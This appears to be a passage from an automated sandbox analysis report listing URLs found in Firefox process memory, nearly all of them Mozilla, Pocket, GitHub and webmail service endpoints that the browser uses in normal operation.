Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2795976288.0000025B4AE89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001C.00000002.2760502605.0000025B47CF0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778623851.0000025B49303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Received
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743683030.0000025B438AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2795976288.0000025B4AE89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabresource://activity-stream/lib/SectionsManager.
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://getpocket.com/read/$
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsDisplays
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001C.00000002.2752718446.0000025B45503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001C.00000002.2793550511.0000025B4ADBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001C.00000002.2793550511.0000025B4ADBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots_wrapOpenRequest/request.onupgradeneeded
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporterresource://search-extensions/google/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49A84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitPocket
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B4884B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.2769652776.0000025B488A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001C.00000002.2769652776.0000025B4883D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B499F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comZycC
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B499F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2752718446.0000025B45520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B453A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sbrowser.download.viewableInternally.typeWasRegiste
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sgecko.handlerService.defaultHandlersVersionresource://gre/mod
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37FD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAEC72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestAttempted
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744858280.0000025B44490000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.compictureinpicture.settingsbrowser.migration.versionnetwork.proxy.backup.so
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001C.00000002.2807040985.000012A6F7204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
